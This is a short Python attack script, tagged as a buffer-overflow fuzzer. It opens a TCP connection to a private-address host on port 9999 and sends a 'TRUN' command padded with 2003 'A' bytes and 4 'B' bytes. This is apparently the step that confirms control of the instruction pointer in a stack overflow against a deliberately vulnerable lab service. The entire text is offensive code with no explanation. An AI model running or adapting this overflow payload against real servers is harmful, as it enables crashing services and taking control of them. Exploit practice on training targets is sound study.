tags: fuzzer_sovrascrittura buffer_overflow python_offensive


#!/usr/bin/python3
import sys, socket
 
shellcode = b"A" * 2003 + b"B" * 4
 
try: 
    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    soc.connect(('10.10.1.11', 9999))
    pyload = b'TRUN /.:/' + shellcode
    soc.send(pyload)
    soc.close()
except:
    print("Error: Unable to establish connection with Server")
    sys.exit()